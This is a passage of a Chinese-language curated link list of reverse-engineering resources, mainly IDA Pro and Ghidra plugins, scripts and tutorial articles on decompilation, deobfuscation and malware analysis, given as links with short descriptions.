- 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |
- [floss](https://github.com/fireeye/flare-floss/tree/master/floss)
- [IDA插件](https://github.com/fireeye/flare-floss/blob/master/scripts/idaplugin.py)
- [**293**星][4m] [C++] [rolfrolles/hexraysdeob](https://github.com/rolfrolles/hexraysdeob) 利用Hex-Rays microcode API破解编译器级别的混淆
- 重复区段: [IDA->插件->Microcode](#7a2977533ccdac70ee6e58a7853b756b) |
### <a id="fcf75a0881617d1f684bc8b359c684d7"></a>效率&&导航&&快速访问&&图形&&图像&&可视化
#### <a id="c5b120e1779b928d860ad64ff8d23264"></a>其他
- [**1321**星][1y] [C++] [rehints/hexrayscodexplorer](https://github.com/rehints/hexrayscodexplorer) 反编译插件, 多功能
- 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) |
<details>
<summary>查看详情</summary>
- 自动类型重建
- 虚表识别/导航(反编译窗口)
- C-tree可视化与导出
- 对象浏览
</details>
- [**444**星][4m] [C++] [alexhude/friend](https://github.com/alexhude/friend) 反汇编显示增强, 文档增强插件
- 重复区段: [IDA->插件->指令参考](#846eebe73bef533041d74fc711cafb43) |
- [**364**星][2m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞
- 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |[IDA->插件->漏洞->未分类](#385d6777d0747e79cccab0a19fa90e7e) |
<details>
<summary>查看详情</summary>
### 功能
- 快速移除函数返回类型
- 数据格式(format)快速转换
- 扫描字符串格式化漏洞
- 双击跳转vtable函数
- 快捷键: w/c/v
</details>
- [**328**星][3m] [Py] [pfalcon/scratchabit](https://github.com/pfalcon/scratchabit) 交互式反汇编工具, 有与IDAPython兼容的插件API
- [**229**星][6m] [Py] [patois/dsync](https://github.com/patois/dsync) 反汇编和反编译窗口同步插件
- 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) |
#### <a id="03fac5b3abdbd56974894a261ce4e25f"></a>显示增强
- [**203**星][14d] [Py] [patois/idacyber](https://github.com/patois/idacyber) 交互式数据可视化插件
#### <a id="3b1dba00630ce81cba525eea8fcdae08"></a>图形&&图像
- [**2563**星][5m] [Java] [google/binnavi](https://github.com/google/binnavi) 二进制分析IDE, 对反汇编代码的控制流程图和调用图进行探查/导航/编辑/注释.(IDA插件的作用是导出反汇编)
#### <a id="8f9468e9ab26128567f4be87ead108d7"></a>搜索
### <a id="66052f824f5054aa0f70785a2389a478"></a>Android
- [**244**星][7d] [C++] [strazzere/android-scripts](https://github.com/strazzere/android-scripts) Android逆向脚本收集
- 重复区段: [Android->工具->ReverseEngineering](#6d2b758b3269bac7d69a2d2c8b45194c) |
### <a id="2adc0044b2703fb010b3bf73b1f1ea4a"></a>Apple&&macOS&&iXxx&&Objective-C&&SWift&&Mach-O
#### <a id="8530752bacfb388f3726555dc121cb1a"></a>未分类
#### <a id="82d0fa2d6934ce29794a651513934384"></a>内核缓存
#### <a id="d249a8d09a3f25d75bb7ba8b32bd9ec5"></a>Mach-O
#### <a id="1c698e298f6112a86c12881fbd8173c7"></a>Swift
### <a id="e5e403123c70ddae7bd904d3a3005dbb"></a>ELF
### <a id="7a2977533ccdac70ee6e58a7853b756b"></a>Microcode
- [**293**星][4m] [C++] [rolfrolles/hexraysdeob](https://github.com/rolfrolles/hexraysdeob) 利用Hex-Rays microcode API破解编译器级别的混淆
- 重复区段: [IDA->插件->反混淆](#7199e8787c0de5b428f50263f965fda7) |
### <a id="b38dab81610be087bd5bc7785269b8cc"></a>模拟器集成
- [**488**星][1y] [Py] [alexhude/uemu](https://github.com/alexhude/uemu) 基于Unicorn的模拟器插件
- [**391**星][12m] [C++] [cseagle/sk3wldbg](https://github.com/cseagle/sk3wldbg) 用Unicorn引擎做后端的调试插件
- 重复区段: [IDA->插件->调试->未分类](#2944dda5289f494e5e636089db0d6a6a) |
- [**279**星][25d] [Py] [fireeye/flare-emu](https://github.com/fireeye/flare-emu) 结合Unicorn引擎, 简化模拟脚本的编写
- 重复区段: [IDA->插件->辅助脚本编写->未分类](#45fd7cfce682c7c25b4f3fbc4c461ba2) |
### <a id="83de90385d03ac8ef27360bfcdc1ab48"></a>作为辅助&&构成其他的一环
- [**1531**星][7d] [Py] [lifting-bits/mcsema](https://github.com/lifting-bits/mcsema) 将x86, amd64, aarch64二进制文件转换成LLVM字节码
- [IDA7插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/ida7) 用于反汇编二进制文件并生成控制流程图
- [IDA插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/ida) 用于反汇编二进制文件并生成控制流程图
- [Binja插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/binja) 用于反汇编二进制文件并生成控制流程图
- [mcsema](https://github.com/lifting-bits/mcsema/tree/master/mcsema)
- [**418**星][17d] [C] [mcgill-dmas/kam1n0-community](https://github.com/McGill-DMaS/Kam1n0-Community) 汇编代码管理与分析平台(独立工具+IDA插件)
- 重复区段: [IDA->插件->签名(FLIRT等)->未分类](#cf04b98ea9da0056c055e2050da980c1) |
- [IDA插件](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0-clients/ida-plugin)
- [kam1n0](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0)
### <a id="1ded622dca60b67288a591351de16f8b"></a>漏洞
#### <a id="385d6777d0747e79cccab0a19fa90e7e"></a>未分类
- [**491**星][7m] [Py] [danigargu/heap-viewer](https://github.com/danigargu/heap-viewer) 查看glibc堆, 主要用于漏洞开发
- [**364**星][2m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞
- 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |[IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
<details>
<summary>查看详情</summary>
### 功能
- 快速移除函数返回类型
- 数据格式(format)快速转换
- 扫描字符串格式化漏洞
- 双击跳转vtable函数
- 快捷键: w/c/v
</details>
#### <a id="cf2efa7e3edb24975b92d2e26ca825d2"></a>ROP
### <a id="7d557bc3d677d206ef6c5a35ca8b3a14"></a>补丁&&Patch
- [**720**星][12m] [Py] [keystone-engine/keypatch](https://github.com/keystone-engine/keypatch) 汇编/补丁插件, 支持多架构, 基于Keystone引擎
### <a id="7dfd8abad50c14cd6bdc8d8b79b6f595"></a>其他
### <a id="90bf5d31a3897400ac07e15545d4be02"></a>函数相关
#### <a id="347a2158bdd92b00cd3d4ba9a0be00ae"></a>未分类
#### <a id="73813456eeb8212fd45e0ea347bec349"></a>重命名&&前缀&&标记
- [**289**星][2m] [Py] [a1ext/auto_re](https://github.com/a1ext/auto_re) 自动化函数重命名
#### <a id="e4616c414c24b58626f834e1be079ebc"></a>导航&&查看&&查找
#### <a id="cadae88b91a57345d266c68383eb05c5"></a>demangle
### <a id="34ac84853604a7741c61670f2a075d20"></a>污点分析&&符号执行
- [**927**星][12d] [OCaml] [airbus-seclab/bincat](https://github.com/airbus-seclab/bincat) 二进制代码静态分析工具。值分析（寄存器、内存）、污点分析、类型重建和传播（propagation）、前向/后向分析
- 重复区段: [IDA->插件->结构体->未分类](#fa5ede9a4f58d4efd98585d3158be4fb) |
### <a id="9dcc6c7dd980bec1f92d0cc9a2209a24"></a>字符串
- [**1360**星][2m] [Py] [fireeye/flare-floss](https://github.com/fireeye/flare-floss) 自动从恶意代码中提取反混淆后的字符串
- 重复区段: [IDA->插件->反混淆](#7199e8787c0de5b428f50263f965fda7) |
- [floss](https://github.com/fireeye/flare-floss/tree/master/floss)
- [IDA插件](https://github.com/fireeye/flare-floss/blob/master/scripts/idaplugin.py)
- [**364**星][2m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |[IDA->插件->漏洞->未分类](#385d6777d0747e79cccab0a19fa90e7e) |
<details>
<summary>查看详情</summary>
### 功能
- 快速移除函数返回类型
- 数据格式(format)快速转换
- 扫描字符串格式化漏洞
- 双击跳转vtable函数
- 快捷键: w/c/v
</details>
### <a id="06d2caabef97cf663bd29af2b1fe270c"></a>加密解密
- [**431**星][1m] [Py] [polymorf/findcrypt-yara](https://github.com/polymorf/findcrypt-yara) 使用Yara规则查找加密常量
- 重复区段: [IDA->插件->签名(FLIRT等)->Yara](#46c9dfc585ae59fe5e6f7ddf542fb31a) |
***
## <a id="18c6a45392d6b383ea24b363d2f3e76b"></a>文章
### <a id="37634a992983db427ce41b37dd9a98c2"></a>新添加的
- 2019.11 [4hou] [反作弊游戏如何破解，看看《黑色沙漠》逆向分析过程：使用 IDAPython 和 FLIRT 签名恢复 IAT](https://www.4hou.com/web/21806.html)
- 2019.11 [aliyun_xz] [使用IDA microcode去除ollvm混淆(下)](https://xz.aliyun.com/t/6795)
### <a id="4187e477ebc45d1721f045da62dbf4e8"></a>未分类
- 2019.10 [amossys] [探秘Hex-Rays microcode](https://blog.amossys.fr/stage-2019-hexraysmicrocode.html)
- 2019.07 [kienbigmummy] [Cách export data trong IDA](https://medium.com/p/d4c8128704f)
- 2019.05 [360_anquanke_learning] [IDAPython实战项目——DES算法识别](https://www.anquanke.com/post/id/177808/)
- 2019.05 [carbonblack] [fn_fuzzy: Fast Multiple Binary Diffing Triage with IDA](https://www.carbonblack.com/2019/05/09/fn_fuzzy-fast-multiple-binary-diffing-triage-with-ida/)
- 2019.05 [aliyun_xz] [混淆IDA F5的一个小技巧-x86](https://xz.aliyun.com/t/5062)
- 2019.03 [freebuf] [Ponce：一键即可实现符号执行（IDA插件）](https://www.freebuf.com/sectool/197708.html)
- 2019.03 [360_anquanke_learning] [为CHIP-8编写IDA processor module](https://www.anquanke.com/post/id/172217/)
- 2019.01 [pediy_new_digest] [[原创]IDA7.2安装包分析](https://bbs.pediy.com/thread-248989.htm)
- 2019.01 [pediy_new_digest] [[原创]IDA 在解析 IA64 中的 brl 指令时存在一个 Bug](https://bbs.pediy.com/thread-248983.htm)
- 2019.01 [ly0n] [Cracking with IDA (redh@wk 2.5 crackme)](https://paumunoz.tech/2019/01/05/cracking-with-ida-redhwk-2-5-crackme/)
- 2018.11 [hexblog] [IDA 7.2 – The Mac Rundown](http://www.hexblog.com/?p=1300)
- 2018.11 [pediy_new_digest] [[原创]IDA动态调试ELF](https://bbs.pediy.com/thread-247830.htm)
- 2018.10 [pediy_new_digest] [[原创] 修复 IDA Pro 7.0在macOS Mojave崩溃的问题](https://bbs.pediy.com/thread-247334.htm)
- 2018.10 [ptsecurity_blog] [Modernizing IDA Pro: how to make processor module glitches go away](http://blog.ptsecurity.com/2018/10/modernizing-ida-pro-how-to-make.html)
- 2018.10 [aliyun_xz] [IDA-minsc在Hex-Rays插件大赛中获得第二名（2）](https://xz.aliyun.com/t/2842)
- 2018.10 [aliyun_xz] [IDA-minsc在Hex-Rays插件大赛中获得第二名（1）](https://xz.aliyun.com/t/2841)
- 2018.10 [aliyun_xz] [通过两个IDAPython插件支持A12 PAC指令和iOS12 kernelcache 重定位](https://xz.aliyun.com/t/2839)
- 2018.09 [cisco_blogs] [IDA-minsc Wins Second Place in Hex-Rays Plugins Contest](https://blogs.cisco.com/security/talos/ida-minsc-wins-second-place-in-hex-rays-plugins-contest)
- 2018.09 [dustri] [IDAPython vs. r2pipe](https://dustri.org/b/idapython-vs-r2pipe.html)
- 2018.06 [pediy_new_digest] [[翻译]在IDA中使用Python Z3库来简化函数中的算术运算](https://bbs.pediy.com/thread-228688.htm)
### <a id="a4bd25d3dc2f0be840e39674be67d66b"></a>Tips&&Tricks
- 2019.07 [hexacorn] [Batch decompilation with IDA / Hex-Rays Decompiler](http://www.hexacorn.com/blog/2019/07/04/batch-decompilation-with-ida-hex-rays-decompiler/)
- 2019.06 [openanalysis] [Disable ASLR for Easier Malware Debugging With x64dbg and IDA Pro](https://oalabs.openanalysis.net/2019/06/12/disable-aslr-for-easier-malware-debugging/)
- 2019.06 [youtube_OALabs] [Disable ASLR For Easier Malware Debugging With x64dbg and IDA Pro](https://www.youtube.com/watch?v=DGX7oZvdmT0)
- 2019.06 [openanalysis] [Reverse Engineering C++ Malware With IDA Pro: Classes, Constructors, and Structs](https://oalabs.openanalysis.net/2019/06/03/reverse-engineering-c-with-ida-pro-classes-constructors-and-structs/)
- 2019.06 [youtube_OALabs] [Reverse Engineering C++ Malware With IDA Pro](https://www.youtube.com/watch?v=o-FFGIloxvE)
- 2019.03 [aliyun_xz] [IDA Pro7.0使用技巧总结](https://xz.aliyun.com/t/4205)
- 2018.06 [checkpoint_research] [Scriptable Remote Debugging with Windbg and IDA Pro](https://research.checkpoint.com/scriptable-remote-debugging-windbg-ida-pro/)
- 2015.07 [djmanilaice] [在PyCharm中编写IDAPython脚本时自动提示](http://djmanilaice.blogspot.com/2015/07/pycharm-for-your-ida-development.html)
- 2015.07 [djmanilaice] [使用IDA自动打开当前目录下的DLL和EXE](http://djmanilaice.blogspot.com/2015/07/auto-open-dlls-and-exe-in-current.html)
### <a id="0b3e1936ad7c4ccc10642e994c653159"></a>恶意代码分析
- 2019.04 [360_anquanke_learning] [两种姿势批量解密恶意驱动中的上百条字串](https://www.anquanke.com/post/id/175964/)
- 2019.03 [cyber] [使用IDAPython分析Trickbot](https://cyber.wtf/2019/03/22/using-ida-python-to-analyze-trickbot/)
- 2019.01 [youtube_OALabs] [Lazy String Decryption Tips With IDA PRO and Shade Ransomware Unpacked!](https://www.youtube.com/watch?v=RfnuMhosxuQ)
- 2018.09 [4hou] [Hidden Bee恶意软件家族的定制IDA装载模块开发](http://www.4hou.com/technology/13438.html)
- 2018.09 [4hou] [用IDAPython解密Gootkit中的字符串](http://www.4hou.com/technology/13209.html)
- 2018.05 [youtube_OALabs] [Unpacking Gootkit Part 2 - Debugging Anti-Analysis Tricks With IDA Pro and x64dbg](https://www.youtube.com/watch?v=QgUlPvEE4aw)
- 2018.04 [youtube_OALabs] [Unpacking VB6 Packers With IDA Pro and API Hooks (Re-Upload)](https://www.youtube.com/watch?v=ylWInOcQy2s)
- 2018.03 [youtube_OALabs] [Unpacking Gootkit Malware With IDA Pro and X64dbg - Subscriber Request](https://www.youtube.com/watch?v=242Tn0IL2jE)
- 2018.01 [youtube_OALabs] [Unpacking Pykspa Malware With Python and IDA Pro - Subscriber Request Part 1](https://www.youtube.com/watch?v=HfSQlC76_s4)
- 2017.11 [youtube_OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 2)](https://www.youtube.com/watch?v=kdNQhfgoQoU)
- 2017.11 [youtube_OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 1)](https://www.youtube.com/watch?v=ScBB-Hi7NxQ)
- 2017.06 [hackers_arise] [Reverse Engineering Malware, Part 3: IDA Pro Introduction](https://www.hackers-arise.com/single-post/2017/06/22/Reverse-Engineering-Malware-Part-3-IDA-Pro-Introduction)
- 2017.05 [4hou] [逆向分析——使用IDA动态调试WanaCrypt0r中的tasksche.exe](http://www.4hou.com/technology/4832.html)
- 2017.05 [3gstudent] [逆向分析——使用IDA动态调试WanaCrypt0r中的tasksche.exe](https://3gstudent.github.io/3gstudent.github.io/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90-%E4%BD%BF%E7%94%A8IDA%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95WanaCrypt0r%E4%B8%AD%E7%9A%84tasksche.exe/)
- 2012.06 [trustwave_SpiderLabs_Blog] [使用IDAPython对Flame的字符串进行反混淆](https://www.trustwave.com/Resources/SpiderLabs-Blog/Defeating-Flame-String-Obfuscation-with-IDAPython/)
### <a id="04cba8dbb72e95d9c721fe16a3b48783"></a>系列文章-Labeless插件介绍
- 2018.10 [checkpoint] [Labeless Part 6: How to Resolve Obfuscated API Calls in the Ngioweb Proxy Malware - Check Point Research](https://research.checkpoint.com/labeless-part-6-how-to-resolve-obfuscated-api-calls-in-the-ngioweb-proxy-malware/)
- 2018.10 [checkpoint] [Labeless Part 5: How to Decrypt Strings in Boleto Banking Malware Without Reconstructing Decryption Algorithm. - Check Point Research](https://research.checkpoint.com/labeless-part-5-how-to-decrypt-strings-in-boleto-banking-malware-without-reconstructing-decryption-algorithm/)
- 2018.10 [checkpoint] [Labeless Part 4: Scripting - Check Point Research](https://research.checkpoint.com/labeless-part-4-scripting/)
- 2018.08 [checkpoint] [Labeless Part 3: How to Dump and Auto-Resolve WinAPI Calls in LockPos Point-of-Sale Malware - Check Point Research](https://research.checkpoint.com/19558-2/)
- 2018.08 [checkpoint] [Labeless Part 2: Installation - Check Point Research](https://research.checkpoint.com/installing-labeless/)
- 2018.08 [checkpoint] [Labeless Part 1: An Introduction - Check Point Research](https://research.checkpoint.com/labeless-an-introduction/)
### <a id="1a2e56040cfc42c11c5b4fa86978cc19"></a>系列文章-使用IDA从零开始学逆向
- 2019.11 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P25)](https://medium.com/p/304110bdf635)
- 2019.10 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P24)](https://medium.com/p/66451e50163e)
- 2019.10 [tradahacking] [REVERSING WITH IDA FROM SCRATCH (P23)](https://medium.com/p/a03897f960be)
- 2019.09 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P21)](https://medium.com/p/17ce2ee804af)
- 2019.08 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P20)](https://medium.com/p/adc2bad58cc3)
- 2019.08 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P19)](https://medium.com/p/b8a5ccc0efbc)
- 2019.07 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P18)](https://medium.com/p/b9b5987eea22)
- 2019.07 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P17)](https://medium.com/p/13aae3c33824)
- 2019.06 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P16)](https://medium.com/p/66c697636724)
- 2019.06 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P15)](https://medium.com/p/9bb2bbdf6fbc)
- 2019.05 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P14)](https://medium.com/p/fd20c144c844)
- 2019.05 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P13)](https://medium.com/p/adc88403c295)
- 2019.04 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P12)](https://medium.com/p/6b19df3db60e)
- 2019.04 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P11)](https://medium.com/p/34e6214132d6)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P10)](https://medium.com/p/f054072cc4cd)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P9)](https://medium.com/p/3ead456499d2)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P8)](https://medium.com/p/c627c70b5efd)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P7)](https://medium.com/p/986cb6c09405)
- 2019.03 [tradahacking] [REVERSING WITH IDA FROM SCRATCH (P6)](https://medium.com/p/ec232b87a091)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P5)](https://medium.com/p/f153835b4ffc)
### <a id="e838a1ecdcf3d068547dd0d7b5c446c6"></a>系列文章-IDAPython-让你的生活更美好
#### <a id="7163f7c92c9443e17f3f76cc16c2d796"></a>原文
- 2016.06 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part6](https://unit42.paloaltonetworks.com/unit42-using-idapython-to-make-your-life-easier-part-6/)
- 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part5](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-5/)
- 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part4](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-4/)
- 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part3](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-3/)
- 2015.12 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part2](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-2/)
- 2015.12 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part1](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-1/)
#### <a id="fc62c644a450f3e977af313edd5ab124"></a>译文
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（五）](http://www.freebuf.com/articles/system/93440.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（四）](http://www.freebuf.com/articles/system/92505.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（三）](http://www.freebuf.com/articles/system/92488.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（二）](http://www.freebuf.com/sectool/92168.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（一）](http://www.freebuf.com/sectool/92107.html)
### <a id="8433dd5df40aaf302b179b1fda1d2863"></a>系列文章-使用IDA逆向C代码
- 2019.01 [ly0n] [Reversing C code with IDA part V](https://paumunoz.tech/2019/01/12/reversing-c-code-with-ida-part-v/)
- 2019.01 [ly0n] [Reversing C code with IDA part IV](https://paumunoz.tech/2019/01/07/reversing-c-code-with-ida-part-iv/)
- 2019.01 [ly0n] [Reversing C code with IDA part III](https://paumunoz.tech/2019/01/02/reversing-c-code-with-ida-part-iii/)
- 2018.12 [ly0n] [Reversing C code with IDA part II](https://paumunoz.tech/2018/12/31/reversing-c-code-with-ida-part-ii/)
- 2018.01 [ly0n] [Reversing C code with IDA part I](https://paumunoz.tech/2018/01/11/reversing-c-code-with-ida-part-i/)
### <a id="3d3bc775abd7f254ff9ff90d669017c9"></a>工具&&插件&&脚本介绍
- 2019.10 [vmray_blog] [VMRay IDA Plugin v1.1: Streamlining Deep-Dive Malware Analysis](https://www.vmray.com/cyber-security-blog/vmray-ida-plugin-v1-1-streamlining-deep-dive-malware-analysis/)
- 2019.10 [talosintelligence_blog] [New IDA Pro plugin provides TileGX support](https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html)
- 2019.09 [talosintelligence_blog] [GhIDA: Ghidra decompiler for IDA Pro](https://blog.talosintelligence.com/2019/09/ghida.html)
- 2019.04 [_0xeb] [climacros – IDA productivity tool](http://0xeb.net/2019/04/climacros-ida-productivity-tool/)
- 2019.04 [_0xeb] [QScripts – IDA Scripting productivity tool](http://0xeb.net/2019/04/ida-qscripts/)
- 2019.03 [_0xeb] [Daenerys: IDA Pro and Ghidra interoperability framework](http://0xeb.net/2019/03/daenerys-ida-pro-and-ghidra-interoperability-framework/)
- 2019.02 [kitploit_home] [HexRaysCodeXplorer - Hex-Rays Decompiler Plugin For Better Code Navigation](https://www.kitploit.com/2019/02/hexrayscodexplorer-hex-rays-decompiler.html)
- 2019.02 [kitploit_home] [Ponce - IDA Plugin For Symbolic Execution Just One-Click Away!](https://www.kitploit.com/2019/02/ponce-ida-plugin-for-symbolic-execution.html)
- 2019.01 [talosintelligence_blog] [Dynamic Data Resolver (DDR) - IDA Plugin](https://blog.talosintelligence.com/2019/01/ddr.html)
- 2018.12 [securityonline] [HexRaysCodeXplorer: Hex-Rays Decompiler plugin for better code navigation](https://securityonline.info/codexplorer/)
- 2018.11 [4hou] [FLARE脚本系列：使用idawasm IDA Pro插件逆向WebAssembly（Wasm）模块](http://www.4hou.com/reverse/13935.html)
- 2018.10 [aliyun_xz] [用idawasm IDA Pro逆向WebAssembly模块](https://xz.aliyun.com/t/2854)
- 2018.10 [fireeye_threat_research] [FLARE Script Series: Reverse Engineering WebAssembly Modules Using the
idawasm IDA Pro Plugin](https://www.fireeye.com/blog/threat-research/2018/10/reverse-engineering-webassembly-modules-using-the-idawasm-ida-pro-plugin.html)
- 2018.10 [vmray_blog] [Introducing the IDA Plugin for VMRay Analyzer](https://www.vmray.com/cyber-security-blog/ida-plugin-vmray-analyzer/)
- 2018.09 [ptsecurity_blog] [How we developed the NIOS II processor module for IDA Pro](http://blog.ptsecurity.com/2018/09/how-we-developed-nios-ii-processor.html)
- 2018.09 [talosintelligence_blog] [IDA-minsc Wins Second Place in Hex-Rays Plugins Contest](https://blog.talosintelligence.com/2018/09/ida-minsc.html)
- 2018.09 [msreverseengineering_blog] [Weekend Project: A Custom IDA Loader Module for the Hidden Bee Malware Family](http://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family)
- 2018.08 [360_anquanke_learning] [Lua程序逆向之为Luac编写IDA Pro处理器模块](https://www.anquanke.com/post/id/153699/)
- 2018.06 [dougallj] [编写IDA反编译插件之: 处理VMX指令](https://dougallj.wordpress.com/2018/06/04/writing-a-hex-rays-plugin-vmx-intrinsics/)
- 2018.05 [freebuf] [HeapViewer：一款专注于漏洞利用开发的IDA Pro插件](http://www.freebuf.com/sectool/171632.html)
### <a id="ea11818602eb33e8b165eb18d3710965"></a>翻译-TheIDAProBook
- 2008.10 [pediy_new_digest] [[翻译]The IDA Pro Book 第六章](https://bbs.pediy.com/thread-75632.htm)
- 2008.10 [pediy_new_digest] [[翻译]（20081030更新）The IDA Pro Book 第12章：使用FLIRT签名识别库](https://bbs.pediy.com/thread-75422.htm)
- 2008.10 [pediy_new_digest] [[翻译]The IDA Pro Book(第二章)](https://bbs.pediy.com/thread-74943.htm)
- 2008.10 [pediy_new_digest] [[翻译]The IDA Pro book 第5章---IDA DATA DISPLAY](https://bbs.pediy.com/thread-74838.htm)
- 2008.10 [pediy_new_digest] [[翻译]The IDA Pro Book(第一章)](https://bbs.pediy.com/thread-74564.htm)
### <a id="ec5f7b9ed06500c537aa25851a3f2d3a"></a>翻译-ReverseEngineeringCodeWithIDAPro
- 2009.01 [pediy_new_digest] [[原创]Reverse Engineering Code with IDA Pro第七章中文译稿](https://bbs.pediy.com/thread-80580.htm)
- 2008.06 [pediy_new_digest] [[翻译]Reverse Engineering Code with IDA Pro(第一、二章)](https://bbs.pediy.com/thread-66010.htm)
### <a id="d8e48eb05d72db3ac1e050d8ebc546e1"></a>逆向实战
- 2019.06 [devco] [破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數](https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/)
- 2019.04 [venus_seebug] [使用 IDA Pro 的 REobjc 模块逆向 Objective-C 二进制文件](https://paper.seebug.org/887/)
- 2018.11 [somersetrecon] [Introduction to IDAPython for Vulnerability Hunting - Part 2](http://www.somersetrecon.com/blog/2018/8/2/idapython-part-2)
- 2018.07 [360_anquanke_learning] [如何使用 IDAPython 寻找漏洞](https://www.anquanke.com/post/id/151898/)
- 2018.07 [somersetrecon] [如何使用IDAPython挖掘漏洞](http://www.somersetrecon.com/blog/2018/7/6/introduction-to-idapython-for-vulnerability-hunting)
- 2018.03 [duo_blog_duo_labs] [Reversing Objective-C Binaries With the REobjc Module for IDA Pro](https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro)
- 2006.05 [pediy_new_digest] [Themida v1008 驱动程序分析,去除花指令的 IDA 文件](https://bbs.pediy.com/thread-25836.htm)
# <a id="319821036a3319d3ade5805f384d3165"></a>Ghidra
***
## <a id="fa45b20f6f043af1549b92f7c46c9719"></a>插件&&脚本
### <a id="2ae406afda6602c8f02d73678b2ff040"></a>Ghidra
- [**18381**星][7d] [Java] [nationalsecurityagency/ghidra](https://github.com/nationalsecurityagency/ghidra) 软件逆向框架
### <a id="ce70b8d45be0a3d29705763564623aca"></a>新添加的
- [**445**星][8m] [YARA] [ghidraninja/ghidra_scripts](https://github.com/ghidraninja/ghidra_scripts) Ghidra脚本
- [binwalk](https://github.com/ghidraninja/ghidra_scripts/blob/master/binwalk.py) 对当前程序运行BinWalk, 标注找到的内容
- [yara](https://github.com/ghidraninja/ghidra_scripts/blob/master/yara.py) 使用Yara查找加密常量
- [swift_demangler](https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py) 自动demangle Swift函数名
- [golang_renamer](https://github.com/ghidraninja/ghidra_scripts/blob/master/golang_renamer.py) 恢复stripped Go二进制文件的函数名
- [**201**星][7m] [Java] [rolfrolles/ghidrapal](https://github.com/rolfrolles/ghidrapal) Ghidra 程序分析库(无文档)
### <a id="69dc4207618a2977fe8cd919e7903fa5"></a>特定分析目标
#### <a id="da5d2b05da13f8e65aa26d6a1c95a8d0"></a>未分类
#### <a id="058bb9893323f337ad1773725d61f689"></a>Loader&&Processor
#### <a id="51a2c42c6d339be24badf52acb995455"></a>Xbox
### <a id="99e3b02da53f1dbe59e0e277ef894687"></a>与其他工具交互
#### <a id="5923db547e1f04f708272543021701d2"></a>未分类
#### <a id="e1cc732d1388084530b066c26e24887b"></a>Radare2
#### <a id="d832a81018c188bf585fcefa3ae23062"></a>IDA
- [**296**星][3m] [Py] [cisco-talos/ghida](https://github.com/cisco-talos/ghida) 在IDA中集成Ghidra反编译器
- 重复区段: [IDA->插件->导入导出->Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) |
- [**236**星][8m] [Py] [daenerys-sre/source](https://github.com/daenerys-sre/source) 使IDA和Ghidra脚本通用, 无需修改
- 重复区段: [IDA->插件->导入导出->Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) |
#### <a id="60e86981b2c98f727587e7de927e0519"></a>DBI
### <a id="cccbd06c6b9b03152d07a4072152ae27"></a>外观&&主题
***
